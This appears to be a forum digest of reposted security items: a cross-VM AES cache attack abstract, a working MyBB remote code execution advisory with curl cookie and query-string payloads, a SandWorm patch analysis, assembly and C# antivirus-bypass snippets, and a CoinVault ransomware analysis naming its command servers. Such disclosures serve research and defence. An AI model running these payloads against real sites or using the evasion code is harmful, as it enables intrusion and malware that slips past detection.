Cryptology ePrint Archive: Report 2014/435 Wait a minute! A fast, Cross-VM attack on AES Gorka Irazoqui and Mehmet Sinan Inci and Thomas Eisenbarth and Berk Sunar Abstract: In cloud computing, efficiencies are reaped by resource sharing such as co-location of computation and deduplication of data. This work exploits resource sharing in virtualization software to build a powerful cache-based attack on AES. We demonstrate the vulnerability by mounting Cross-VM Flush+Reload cache attacks in VMware VMs to recover the AES keys of OpenSSL 1.0.1 running inside the victim VM. Furthermore, the attack works in a realistic setting where different VMs are located on separate cores. The modified flush+reload attack we present, takes only in the order of seconds to minutes to succeed in a cross-VM setting. Therefore long term co-location, as required by other fine grain attacks in the literature, are not needed. The results of this study show that there is a great security risk to OpenSSL AES implementation running on VMware cloud services when the deduplication is not disabled. Category / Keywords: Original Publication (with minor differences): Research in Attacks, Intrusions and Defenses Symposium - RAID 2014 Date: received 5 Jun 2014, last revised 20 Nov 2014 Contact author: teisenbarth at wpi edu Available format(s): PDF | BibTeX Citation Version: 20141120:211658 (All versions of this report) Sursa: Cryptology ePrint Archive: Report 2014/435

[h=2]IAT Patcher[/h] [h=4]My new tool, based on bearparser.[/h][h=4](Experimental version, last update: 23.11.2014: added 64bit stub!) Download: x86 , x64 *requires: Microsoft Visual C++ 2010 Redistributable Package, available here: [Redist 32bit] [Redist 64bit] NOTE: this is just "quick and dirty" PoC. Improvements and optimization in implementation will come gradualy. Also, you can expect full source code of the IAT Patcher soon! [/h] The purpose of this app is persistent IAT hooking, made fast and easy. It provides substituting any function loaded from DLL by your custom function (the only requirement it that call convention and number of parameters are the same!). See examples below. Sample libraries: https://github.com/hasherezade/IAT_patcher_samples Sursa: hasherezade's homepage

By Radu FaraVirusi(com) on November 24, 2014 Ashampoo Burning Studio 2014 este un program excelent pentru inscriptionarea CD\DVD\Blu-Ray. Este de asemenea un bun inlocuitor pentru clasicul Nero Burning Room, care are cateva dezavantaje printre care: NU este gratuit si are o multime de programele inutile care se instaleaza odata cu programul principal, ocupand spatiu si resurse. Acum puteti obtine acest software complet GRATUIT. Programul costa in mod normal 50$ si ofera multe functii: crearea CD\DVD\Blu-Ray de tip Data functie de Backup\Restore realizare de DVD-Video, Video CD si Super Video CD copiere CD\DVD\Blu-Ray inscriptionare si crearea de imagini .iso, .cue\bin, ashdisc crearea de CD-uri Audio si MP3 plus Ripping Creeaza si imprima etichete si coperti pentru disc-urile tale Iata cum obtineti licenta GRATUITA: Accesati site-ul de mai jos pentru a obtine codul de inregistrare: Ashampoo® - Full Version License - Ashampoo® Burning Studio 2014 Descarcati produsul de aici: http://bigfiles.downloadcluster.com/public/ksw/4110/ashampoo_burning_studio_2014_12.0.5_16837.exe Sursa: Ashampoo Burning Studio 2014 (alternativa Nero) – Licenta GRATUITA

broadAnyWhere_poc_by_retme_bug_17356824 PoC source code of Android Bug: 17356824. diff of bug:https://android.googlesource.com/platform/packages/apps/Settings/+/37b58a4%5E%21/#F0 You can send broadcast to almost ANY reciever you want,even if it's a protect-broadcast or the reciever is a unexported/permission-limited one. All the devices prior to Android 5.0 are affected. demo video:Bug 17356824 poc video—????—???????????? more info: 360???? broadAnywhere?Broadcast?????????Bug: 17356824? - Retme???????? Sursa: https://github.com/retme7/broadAnyWhere_poc_by_retme_bug_17356824#broadanywhere_poc_by_retme_bug_17356824

Ne poti da un PSD / PNG mare cu logo-ul asta? Doar logo, fara CSS-ul din spate?

[h=1]MyBB <= 1.8.2 - unset_globals() Function Bypass and Remote Code Execution Vulnerability[/h] # Exploit Title: MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability # Date: 2014-11-21 # Exploit Author: Taoguang Chen # Vendor Homepage: twitter.com/chtg57 # Software Link: www.mybb.com # Version: MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15 MyBB had released 1.8.3 and 1.6.16 to fixed this vulnerability. Advisory: https://gist.github.com/chtg/e9824db42a8edf302b0e #MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability Taoguang Chen <[@chtg](http://github.com/chtg)> - 2014.03.06 > MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution. ##I. MyBB's unset_globals() Function Bypass When PHP's register\_globals configuration set on, MyBB will call unset\_globals() function, all global variables registered by PHP from $\_POST, $\_GET, $\_FILES, and $\_COOKIE arrays will be destroyed. ``` if(@ini_get("register_globals") == 1) { $this->unset_globals($_POST); $this->unset_globals($_GET); $this->unset_globals($_FILES); $this->unset_globals($_COOKIE); } ... } ... function unset_globals($array) { if(!is_array($array)) { return; } foreach(array_keys($array) as $key) { unset($GLOBALS[$key]); unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4 } } ``` But unset\_globals() function can be bypassed. ###i) $\_GET, $\_FILES, or $\_COOKIE Array was Destroyed ``` foo.php?_COOKIE=1 // $_GET['_COOKIE'] ``` When $_GET['\_COOKIE']=1 is sent, unset\_globals() will destroy $GLOBALS['\_COOKIE']. ``` $this->unset_globals($_GET); ... } ... function unset_globals($array) { ... foreach(array_keys($array) as $key) { unset($GLOBALS[$key]); ``` This means $\_COOKIE array will be destroyed. This also means all global variables registered by PHP from $\_COOKIE array will be destroyed because them will not be handled by unset(). ``` $this->unset_globals($_COOKIE); } ... } ... function unset_globals($array) { if(!is_array($array)) { return; } ``` By the same token, if $\_GET or $\_FILES array was destroyed via unset\_globals(), the corresponding global variables registered by PHP will not be destroyed. ###ii) $GLOBALS Array was Destroyed ``` foo.php?GLOBALS=1 // $_GET['GLOBALS'] ``` When $\_GET['GLOBALS']=1 is sent, unset\_globals() will destroy $GLOBALS['GLOBALS']. This means $GLOBALS array will be destroyed. $GLOBALS array is a automatic global variable, and binding with global symbol table, you can use $GLOBALS['key'] to access or control a global variable in all scopes throughout a script. This means that the binding between the $GLOBALS array and the global symbol table will be broken because $GLOBALS array has been destroyed. This also means all variables registered by PHP from $\_GET, $\_FILES and $\_COOKIE arrays will not be destroyed. By the same token, when $\_POST['GLOBALS'], $\_FLIES['GLOBALS'], or $\_COOKIE['GLOBALS'] is sent, unset\_globals() will destroy $GLOBALS array, then the corresponding global variables registered by PHP will not be destroyed. In fact, MyBB is already aware of the problem: ``` $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS"); foreach($protected as $var) { if(isset($_REQUEST[$var]) || isset($_FILES[$var])) { die("Hacking attempt"); } } ``` Unfortunately, there is a small hole yet:-) $\_REQUEST is an associative array that by default contains mix of $\_GET, $\_POST, and $\_COOKIE arrays data. But PHP >= 5.3 introduced request\_order configuration, the directive affects the contents of $\_REQUEST array. ``` request_order = "GP" ``` This is recommended setting in php.ini. Set it to "GP" means only $\_GET and $\_POST arrays data is merged into $\_REQUEST array without $\_COOKIE array data. So, it is possible that sent $\_COOKIE['GLOBALS'], then bypass unset\_globals() function in PHP 5.3. ##II. Remote Code Execution Vulnerability There is one interesting method in MyBB: ``` class MyBB { ... function __destruct() { // Run shutdown function if(function_exists("run_shutdown")) { run_shutdown(); } } } ``` Look into run\_shutdown() function: ``` function run_shutdown() { global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb; ... // Run any shutdown functions if we have them if(is_array($shutdown_functions)) { foreach($shutdown_functions as $function) { call_user_func_array($function['function'], $function['arguments']); } } $done_shutdown = true; } ``` The $shutdown\_functions was initialized via add\_shutdown() function in init.php: ``` // Set up any shutdown functions we need to run globally add_shutdown('send_mail_queue'); ``` But add\_shutdown() function initialization handler is wrong: ``` function add_shutdown($name, $arguments=array()) { global $shutdown_functions; if(!is_array($shutdown_functions)) { $shutdown_functions = array(); } if(!is_array($arguments)) { $arguments = array($arguments); } if(is_array($name) && method_exists($name[0], $name[1])) { $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments); return true; } else if(!is_array($name) && function_exists($name)) { $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments); return true; } return false; } ``` In the above code we see that run\_shutdown() function is vulnerable because $shutdown\_functions is initialized correctly and therefore result in arbitrary code execution. ##III. Proof of Concept When request\_order = "GP" and register\_globals = On, remote code execution by just using curl on the command line: ``` $ curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://www.target/ ``` ##IV. P.S.I **Another case to exploit the vulnerability:** When PHP's "disable\_functions" configuration directive disable ini\_get() function: ``` disable_functions = ini_get ``` The unset\_globals() function will not be called that regardless of register\_globals set on or off. ``` if(@ini_get("register_globals") == 1) { $this->unset_globals($_POST); $this->unset_globals($_GET); $this->unset_globals($_FILES); $this->unset_globals($_COOKIE); } ``` **Proof of Concept** Works on disable\_functions = ini\_get and register\_globals = On: ``` index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1 ``` ##V. P.S.II **SQL injection vulnerability via run\_shutdown() function** ``` function run_shutdown() { global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb; ... // We have some shutdown queries needing to be run if(is_array($shutdown_queries)) { // Loop through and run them all foreach($shutdown_queries as $query) { $db->query($query); } } ``` The $shutdown\_queries was initialized in global.php: ``` $shutdown_queries = array(); ``` But not all files are included global.php, such as css.php: ``` require_once "./inc/init.php"; ``` There is not included global.php, and $shutdown\_queries is uninitialized, with the result that there is a SQL injection vulnerability. **Proof of Concept** Works on request\_order = "GP" and register\_globals = On: ``` $ curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php ``` Works on disable\_functions = ini\_get and register\_globals = On: ``` css.php?shutdown_queries[]=SQL_Inj ``` ##VI. Disclosure Timeline * 2014.03.06 - Notified the MyBB devs via security contact form * 2014.11.16 - Renotified the MyBB devs via Private Inquiries forum because no reply * 2014.11.20 - MyBB developers released MyBB 1.8.3 and MyBB 1.6.16 * 2014.11.21 - Public Disclosure Sursa: MyBB <= 1.8.2 - unset_globals() Function Bypass and Remote Code Execution Vulnerability

SandWorm’s target: A patch history of Object Packager Matt_Oh| November 20, 2014 Last Patch Tuesday (that is, November 11, 2014), Microsoft released MS14-064, a security patch for a SandWorm 0-day vulnerability. They had also previously patched the vulnerability with the October patch Tuesday release (MS14-060) but malware samples working around the fix were subsequently found in the wild. Interestingly, the affected module, Object Packager, had suffered a similar issue in 2012 with security bulletin MS12-005. That issue was about remote code execution using the ClickOnce functionality embedded in Microsoft Office files. The issues with the latest two patches this year concern remote code execution with INF or EXE files embedded in Microsoft Office files; only the type of embedded object differs. When I looked into the patch, I found striking similarities between them. Here are my findings. Marking files unsafe One of the main similarities between the patches is with the zone identifier. Both MS12-005 and MS14-060 add code to mark files unsafe by using a zone identifier. This pops up a warning dialog box on the user’s screen before binaries are executed. This provides additional protection for the user - any embedded object dropped in the temporary folder from Office documents should be treated as potentially dangerous. How MarkFileUnsafe works To understand what the MarkFileUnsafe function does, I opened packager.dll up in IDA. After a bit of debugging, I found that it uses the CZoneIdentifier object to set the zone identifier ID to 3 (URLZONE_INTERNET), as we see in Figure 1.The zone identifier concept was first introduced with Windows XP SP2 and it uses an Alternative Data Stream file, Zone.Identifier, to mark a file’s origin. For example, if a file was downloaded from the Internet through a web browser, it would be marked with ‘ID 3’ which corresponds to URLZONE_INTERNET. For a good explanation of the CZoneIdentifier, see this blog post from Microsoft. Figure 1 Calling CZoneIdentifier::SetId with argument 3 (URLZONE_INTERNET) Marking the file with ID 3 means that the file is treated as unsafe. When it is executed, it triggers a user confirmation dialog that looks like the one shown in Figure 2. This is a road block to malware or exploits that may try to abuse the related feature. Figure 2 Security Warning dialog CVE-2014-4114 The CVE-2014-4114 vulnerability used in the SandWorm operation was fixed mainly by marking dropped files unsafe (as I explained in my previous blog post). Figure 3 shows three functions that have been patched by adding a call to the MarkFileUnsafe function. The whole point of the MS14-60 patch was to mark dropped files as unsafe. Figure 3 Three functions patched with the addition of the MarkFileUnsafe function call CVE-2012-0013 An interesting fact is that a similar patch to other functions with similar functionality had been performed in 2012 with MS12-005. It fixed the CVE-2012-0013 vulnerability, which allowed execution of the ClickOnce application embedded in Microsoft Office files. Looking at Figure 4 you can see that the MarkFileUnsafe function was added to the patched packager.dll file. Figure 4 Patched functions with MS12-002 Some of the patched functions, including CPackage::CreateTempFile and CPackage::EmbedreadFromStream introduced a call to MarkFileUnsafe just after copying the file to the temporary folder, as shown in Figure 5. Figure 5 Addition of a call to MarkFileUnsafe Similar issues in the same function - CPackage::DoVerb Somehow, one specific function, CPackage::DoVerb, is a ‘hot zone’ which is patched again and again. The reason for this is that this is the main function where all the external command and object handling occurs using shell extensions and COM interfaces. CVE-2014-6352 A ‘verb’ is the term used to describe a case where a command string is passed through the Object Packager to an external component. The original intended purpose of the Object Packager from Office was mostly to play animation with graphics and sound. This verb can be used to pass various commands to the non-OLE component. Verb commands are basically strings like “play”, “pause” and “resume”, etc. but there are two special defined verb values: “0” and “1”. The first, “0” means open the object for editing while “1” means open the object for “viewing”. This MSDN article has a good description of this feature. However, it looks like you also can pass other numbers that perform additional operations, including running linked programs with the attachment itself as the input. Figure 6 Show OK/Cancel message box Figure 6 shows how this vulnerability was fixed. It displays an additional message box before it calls the InvokeCommand method from the CDefFolderMenu class in shell32.dll. The message box can be turned off if you set a special registry key, as shown in Figure 7. To fix it, they made opt-out the default behavior for this function. Figure 7 Retrieve registry value CVE-2012-0013 CVE-2012-0013 also had a patch on this same method – CPackage::DoVerb. When the ClickOnce application was embedded inside a Microsoft Office file, it could bypass the special check in the Object Packager. Figure 8 and Figure 9 show the GiveWarningMsg methods called just before dangerous operations like ActivateEmbeddedFile or ShellExecuteExW that launch external programs are performed. Figure 8 Unpatched code with the GiveWarning call Figure 9 Unpatched code with the GiveWarning call The approach with unpatched code used a blacklist of file extensions, as Figure 10 shows. Figure 11 shows part of the GiveWarningMsg function. It passed a blacklist of extensions to the sub-function to compare. If the file’s extension was on this list, it did not pass through to the following dangerous operations. Figure 10 Extension black list Figure 11 Check extension black list But, it looks like this blacklist didn’t cover every possible dangerous extension, and ClickOnce was one of those. The patch from the vendor solves this problem by ditching the blacklist approach, instead using an opt-in registry key. If you don’t set a specific registry key, you will not be allowed to run any dangerous APIs by default, as shown in Figure 12. Figure 12 Checking opt-in registry key For example, based on this registry key, ShellExecuteEx will either be allowed or not, as we see in Figure 13. The point is that by default, the dangerous operation is blocked. This is a similar approach to how CVE-2014-6352 was solved using a default opt-out approach. Figure 13 By default, show message and exit Conclusion So, packager.dll has gone through three rounds of patching over the last few years: MS12-005, MS14-060 and MS14-064. MS12-005 fixed the CVE-2014-0013 ClickOnce issue. MS12-005 and MS14-064 cover a special verb command issue. The problem is that the three patches touch on the same issues over and over again. MS12-005 introduced the MarkFileUnsafe function and applied it to two functions. Now MS14-060 applies the same patches to an additional three functions that perform very similar actions – file dropping. MS12-005 fixed an extension validation issue in the CPackage::DoVerb function by introducing a special registry key switch. MS14-064 fixed a very similar issue inside the exact same function by introducing a special registry key and confirmation message box. MS12-005 fixed a dangerous call to the ShellExecuteExW API and MS14-064 fixes dangerous usage of the IContextMenu interface, which can be abused to run arbitrary commands through the extension context menus functionality. Using the IContextMenu interface to launch remote code execution isn’t obvious at first, but allowing a COM call to the shell component doesn’t sound so secure either. Based on my findings, I think there was a good chance to fix the SandWorm vulnerability two years ago, before it was used by malware authors and became an issue. We can’t reverse time, but we can, and should, learn from the past. Sursa: SandWorm’s target: A patch history of Object Packa... - HP Enterprise Business Community

UNREAL MODE:BREAKING PROTECTED PROCESSES Alex Ionescu NSC 2014 Alex Ionescu’s Blog @aionescu INTRODUCTION •Windows Vista introduced core changes to the kernel to allow atomic, kernel-driven process creation inside of a “protected environment” •Used to protect access to the DRM keys and to secure the System process •Windows 8.1 extends that model in order to protect key non-DRM system processes even from Admin, and to mitigate against pass-the-hash attacks •Digital signatures and code signing now add an additional boundary of protection beyond load/don’t load •Similar to the iOS Entitlement Model •Mechanisms change a few core security paradigms: •Admin == Kernel is something that Microsoft has sometimes disagreed with, especially in light of PatchGuard, Code Signing and DRM. Now it’s really != •Unkillableprocesses and unstoppable services are now something supported and documented for developer (mis)use Download: http://www.nosuchcon.org/talks/2014/D3_05_Alex_ionescu_Breaking_protected_processes.pdf

assembly, c-sharp, anti-sandbox, anti-antivirus, anti-debug, and malware research Hello fellow readers! You all are probably wondering what the hell I’ve been up to this past month. Lot’s of stuff. This post is all over the place with code and slides and malware and general wackiness. Rather than spreading it out over several blog posts, I decided to just get it all over with so I can focus on cooler things in the future. I saw an interesting webinar on sandbox detection techniques employed by malware by Cyphort. They haven’t released their slides like they said they would, so here are the ones I took. These are cool and all, but I felt like I could contribute. I read an awesome paper on bypassing antiviruses by employing a number of code based tricks. The idea behind them was that AV’s will skip binaries based on certain behaviors. One thing missing though – an AV will skip the “dropper” heuristic if the file ends in ‘.msi’. All the code I saw was in C/C++. I figured why not try and convert it to assembly? Next thing to do is make a patcher that can inject these into pre-compiled binaries. A future project perhaps? Anyways, I only did 2 before I lost interest. Read the article here. ;AV bypass 1 xor eax, eax db Caption "Joe" db Text "Giron" mov edx, 5F5E100h joe: inc eax dec edx jnz joe cmp eax, 5F5E100h jnz short urafag push 0 ; MB_OK push offset Caption push offset Text push 0 ; hWnd call MessageBoxA urafag: xor eax, eax retn ;AV bypass 1.5 ; same as above, just using the loop instruction instead of branching conditionals xor eax, eax db Caption "Joe" db Text "Giron" mov ecx, 5F5E100h joe: ; essentially do nothing mov eax,10 mov ebx,20 xchg eax,ebx loop joe ; now start code xor eax,eax xor ebx,ebx push 0 ; MB_OK push offset Caption push offset Text push 0 ; hWnd call MessageBoxA retn ;AV bypass 2 push ebx push edi push 5F5E100h ; bytes to alloc push 40h ; zero init call GlobalAlloc mov ebx, eax test ebx, ebx jz short cleanup mov edi, ebx mov eax, 0FFFFFFF1h mov ecx, 5F5E100h rep stosb push 0 ; MB_OK push offset Caption ; "Joe" push offset Text ; "Giron" push 0 ; hWnd call MessageBoxA push ebx ; memory handler call GlobalFree cleanup: xor eax, eax pop edi pop ebx retn Feels good to put my crappy assembly skills to good use. Especially now that I figured out how to use inline assembly within C#. Sort of. The way it works is by utilizing delegates and cramming code inside an executable code page. Observe this piece of genius: using System; using System.Collections.Generic; using System.Text; using System.Runtime.InteropServices; namespace InLineAsm { static class Program { [unmanagedFunctionPointer(CallingConvention.StdCall )] delegate void JoesAntiDebuggery(); [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, IntPtr flAllocationType, IntPtr flProtect); static byte[] opcodez = { 0x55, 0x89, 0xE5, 0x31, 0xC0, 0xBA, 0x00, 0xE1, 0xF5, 0x05, 0x40, 0x4A, 0x75, 0xFC, 0x3D, 0x00, 0xE1, 0xF5, 0x05, 0x75, 0x14, 0x6A, 0x00, 0x68, 0x12 ,0x70, 0x40, 0x00, 0x68, 0x0C, 0x70, 0x40, 0x00, 0x6A, 0x00, 0xFF, 0x15, 0xD0, 0x80, 0x40, 0x00, 0x31, 0xC0, 0x68, 0x00, 0x70, 0x40, 0x00, 0xE8, 0x3B, 0x00, 0x00, 0x00, 0x59, 0x31, 0xC0, 0x89, 0xEC, 0x5D, 0xC3 } // opcodes taken from disassembled program. /* __asm { xor eax, eax mov edx, 5F5E100h joe: inc eax dec edx jnz joe cmp eax, 5F5E100h jnz short urafag } MessageBox(0,Text, Caption,0); __asm { urafag: xor eax, eax } */ static IntPtr codeBuffer = VirtualAlloc(IntPtr.Zero, new UIntPtr((uint)opcodez.Length), (IntPtr)(0x1000 | 0x2000), (IntPtr)0x40); // EXECUTE_READWRITE, MEM_COMMIT | MEM_RESERVE Marshal.Copy(opcodez, 0,codeBuffer, opcodez.Length); JoesAntiDebuggery JoeDbg = (JoesAntiDebuggery) Marshal.GetDelegateForFunctionPointer(codeBuffer, typeof(JoesAntiDebuggery)); static void Main(string[] args) { Console.Write("lol"); JoeDbg(); } } } It’s a thing of beauty – Assembly, C code, op codes / hex, delegates, and C#. Moving on to what else I’ve been up to – pulling apart malwarez. This one piece gave me trouble for a few days. Namely because of the weird anti-debugging counter measure I encountered. I’m unsure if its even anti-debug as the conditions always seem to equate to false. I mean it’s easy to get around when you see it, but you can’t get around it automatically – you have to patch it. I even took a video of the weird behavior. Took me some time, but I figured it out. The following is the sequence called not 5 instructions after the entry point sub_4017CF proc near push ebp mov edi, edx add edi, ebx not ebx mov ebp, esp add edi, ebx add esp, 0FFFFFF94h mov edx, ebx inc ebx mov ecx, esp dec ebx mov edi, eax add ecx, 48h mov ebx, ecx dec edi cmp eax, ecx jz short labelforyou neg edx leave not edx mov eax, edi neg eax leave add edx, edi not edx retn labelforyou: leave retn The first thing you may notice about this procedure is the weird stack frame setup. Most of the time, the intro stack frame will be “push ebp” followed directly by “mov ebp, esp”. This one is different in that it plays with the registers a little before the “mov ebp, esp” assembly codes. You may also notice the 2 “leave” instructions at the end of the procedure as opposed to the 1 for the “labelforyou” conditional. The 2 “leave” instructions are why the program jumps to ExitThread. When you leave a stack frame twice and ‘ret’, any windows program jumps to ntdll.RtlExitUserThread. An interesting intrinsic way of quietly exiting without warning. But what about the code that leads up to the ‘JZ’ branch and the 2 leaves? The comparison is EAX to ECX. Every time I run, EAX always ends up as 1 and ECX as some stack address. I’m postulating that the malware I grabbed was extracted from a dropper. That makes sense given the stack value / pointer points to nothing useful. If you’re curious what the malware does, it attempts to download and run a ‘doc’ file from a russian host. Inside the ‘doc’ file is HTML code with a meta redirect to a host my DNS server can’t seem to find: You can download the malware here. Pass in ‘infected’. The other piece of malware I went through lacked a DOS sub. Most exe’s have this little DOS application inside that reads “this program cannot be run in DOS mode” and is placed at the start of an exe just in case someone attempts to run an exe on an old DOS system. Its a forward compatibility thing Microsoft does. Compare a normal exe to the binary: So how the hell do you remove the DOS sub and still maintain functionality? According to TinyPE, you do it in assembly via zeroing out the MZ header with the exception of the ‘e_magic’ field ‘MZ’ at the start and the ‘e_lfanew’ field value at the bottom. The ‘e_lfanew’ field is just a 4 byte offset to where the PE header is located. mzhdr: dw "MZ" ; e_magic dw 0 ; e_cblp UNUSED dw 0 ; e_cp UNUSED dw 0 ; e_crlc UNUSED dw 0 ; e_cparhdr UNUSED dw 0 ; e_minalloc UNUSED dw 0 ; e_maxalloc UNUSED dw 0 ; e_ss UNUSED dw 0 ; e_sp UNUSED dw 0 ; e_csum UNUSED dw 0 ; e_ip UNUSED dw 0 ; e_cs UNUSED dw 0 ; e_lsarlc UNUSED dw 0 ; e_ovno UNUSED times 4 dw 0 ; e_res UNUSED dw 0 ; e_oemid UNUSED dw 0 ; e_oeminfo UNUSED times 10 dw 0 ; e_res2 UNUSED dd pesig ; e_lfanew But what about doing it to a pre-compiled binary? I just used CFF explorer and HXD. Jot down the ‘e_lfanew’ field offset and zero out the entries between the PE header, the MZ field, and the ‘e_lfanew’ field: The malware does code running modification and is surprisingly sophisticated, but this blog post is long enough. I’m done for now. The next post will be much more interesting, however its unfinished and needs more research. Except it soon. This entry was posted on Saturday, November 22nd, 2014 at 1:51 pm and is filed under code, Joe you evil bastard, reversing. You can follow any responses to this entry through the RSS 2.0 feed. You can skip to the end and leave a response. Pinging is currently not allowed. Sursa: assembly, c-sharp, anti-sandbox, anti-antivirus, anti-debug, and malware research « Joe's Security Blog

malware repository framework - for personal use only malwaRE Malware repository framework Description malwaRE is a malware repository website created using PHP Laravel framework, used to manage your own malware zoo. malwaRE was based on the work of Adlice team with some extra features. If you guys have any improvements, please let me know or send me a pull request. Features Self-hosted solution (PHP/Mysql server needed) VirusTotal results (option for uploading unknown samples) Search filters available (vendor, filename, hash, tag) Vendor name is picked from VirusTotal results in that order: Microsoft, Kaspersky, Bitdefender Add writeup url(s) for each sample Manage samples by tag Tag autocomplete VirusTotal rescan button (VirusTotal's score column) Download samples from repository Sursa: https://github.com/c633/malwaRE

A Nightmare on Malware Street CoinVault ransomware in the wild By Santiago Pontiroli on November 22, 2014. 4:49 Another ransomware has been spotted in the wild lately, branded as 'CoinVault'. This one involves some interesting details worth mentioning, including the peculiar characteristic of offering the free decryption of one of the hostage files as a sign of good faith. Technically, the malware writers have taken a lot of measures to slow down the analysis of the sample. Even though it was made with Microsoft's .NET framework, it takes a while to reach the core of their malicious application. Upon opening the initial sample in 'IL Spy', we find that the program starts by using a string key which is passed to a decryption method, which will ultimately get the executable code. A byte array is also passed as a parameter to the 'EncryptOrDecrypt' method, which in conjunction with the key will output a final byte array with the malware's much needed code. Implementing these functions in Visual Studio is as easy as copy/paste, so we execute the methods gotten from the source code and set a breakpoint to check what the decryption method is doing. A '77', '90' in decimal tells us we are on the right track since when converting these numbers to hexadecimal we get '4D', '5A', which is the magic number for DOS executable files identified by the ASCII string 'MZ'. We dump all the bytes to an executable file in disk for further analysis. We get a file called 'SHIELD runner', serving as a 'RunPE' helper application. A 'RunPE' application serves to execute files on the fly, meaning that a memory stream is created from an input and executed directly without first storing the file to disk. This is useful for malware writers that want to avoid leaving traces behind, and as we'll soon see, it's not all this file has to offer. Although we'll carry on with our investigation into the ransomware code, there's a noteworthy string embedded in the SHIELD runner executable, 'd:\Users\dennis…'. In the same way as before, a string key and a byte array are used to generate yet another executable file. As you can see, the cybercriminals have gone to great lengths in order to slow down the analysis and hide the malicious payload for as long as possible. Not only do we have the usual 'RunPE' functions but also a nice additional set of methods that will help the malware detect analysis tools and virtualized environments. It checks for 'Sandboxie', 'Wireshark', 'Winsock Packet Editor' and even checks whether the machine's name is 'MALTEST'. Fortunately, none of these conditions are met in my environment so we are good to go. But wait…. there's more! The detection of the virtualized environment will cause the execution to stop and the malicious payload to be hidden. Using PowerShell, we are going to check if the malware can actually detect our environment. Apparently it can, so we'll need to carry out some simple modifications in order to continue the analysis process. We can fix this easily from VMWare's configuration VMX file, setting the option 'SMBIOS.reflectHost = TRUE'. Running out PowerShell checks again, we witness the good news and are ready to go even further. Repeating the process of string key and byte array decryption and dumping the memory at just the right time pays off and we finally end up with the set of files that will be used during the infection. The CoinVault 'Locker' has two main Windows forms: the main one telling us to pay in order to recover the victim's files and 'frmGetFreeDecrypt' which is used to decrypt one of the victim's files as a way to demonstrate that we can in fact recover our precious information if we comply in a timely manner. However, before the 'Locker' analysis we'll need to deobfuscate it (at least a little bit). The malware writers display some sense of humor here: if the analyst has gone through this much trouble to reach this point it seems he's welcome as suggested by the phrase, 'Your worst nightmare'. Moreover, they are keen enough to leave a banner signaling the obfuscation utility they used. In this case we are dealing with the ever popular 'Confuser', in its version 1.9.0.0. Certainly, this is confusing… but we can make it better. So, we go from something that resembles a Chinese manuscript to readable source code. We now can see, amongst the many (many) methods and delegates inside the assembly some relevant code regarding the file encryption. .NET's 'System.Security.Cryptography.RijndaelManaged' namespace is used (amongst others) revealing symmetric encryption functionality. We can even get a glance at how the PRNG was implemented and some internal details of the malicious application. When we are finally shown the 'Locker' executable, a connection is made to a dynamic domain. During the analysis, two addresses were present: 'cvredirect.no-ip.net' and 'cvredirect.ddns.net'. They are currently offline and this hampers the 'Locker' functionality, since upon traffic analysis inspection we were able to see that a hardware ID is sent to the C&C in order to use a dynamic file encryption password. I guess now we can understand why the malware is checking for Wireshark in the system. After all, cybercriminals wouldn't want you to take a peek at how their business is getting done. At this point, if everything went well (for the cybercriminals) your personal documents and files have been encrypted and a payment is demanded in less than 24 hours or the price will rise. The bitcoin address used is dynamic too, making the tracing of the funds a lot more complex than usual. Is this your worst nightmare? If you don't have an updated anti-malware suite and (just in case) a backup of your most important files, it might just be. Kaspersky detects this family as 'Trojan-Ransom.Win32.Crypmodadv.cj'. We have already seen similar malicious applications in the past (regarding functionality) such as 'TorrentLocker', and some PowerShell ransomware, but the amount of effort invested in this one in order to protect the code shows that cybercriminals are leveraging already developed libraries and functionality in order to avoid reinventing the wheel. Sursa: https://securelist.com/blog/virus-watch/67699/a-nightmare-on-malware-street/